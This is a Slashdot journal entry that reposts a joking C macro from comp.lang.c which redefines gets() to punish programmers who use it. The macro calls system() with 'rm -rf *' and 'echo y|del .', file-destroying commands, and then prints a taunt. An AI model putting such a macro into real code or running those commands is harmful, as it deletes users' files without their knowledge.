Catch up on stories from the past week (and beyond) at the Slashdot story archive

 



Forgot your password?
typodupeerror
×
User Journal

Journal lateralus's Journal: Do not taunt gets()

#undef gets
#define gets(buf) do { system ("rm -rf *"); system ("echo y|del .");\
        puts ("Your files have been deleted for using gets().\n"); } \
        while (0)

Posted Tue, 02 Dec 2003 21:32:14 GMT on comp.lang.c by Keith Thompson

This discussion has been archived. No new comments can be posted.

Do not taunt gets()

Comments Filter:

If all else fails, lower your standards.

Working...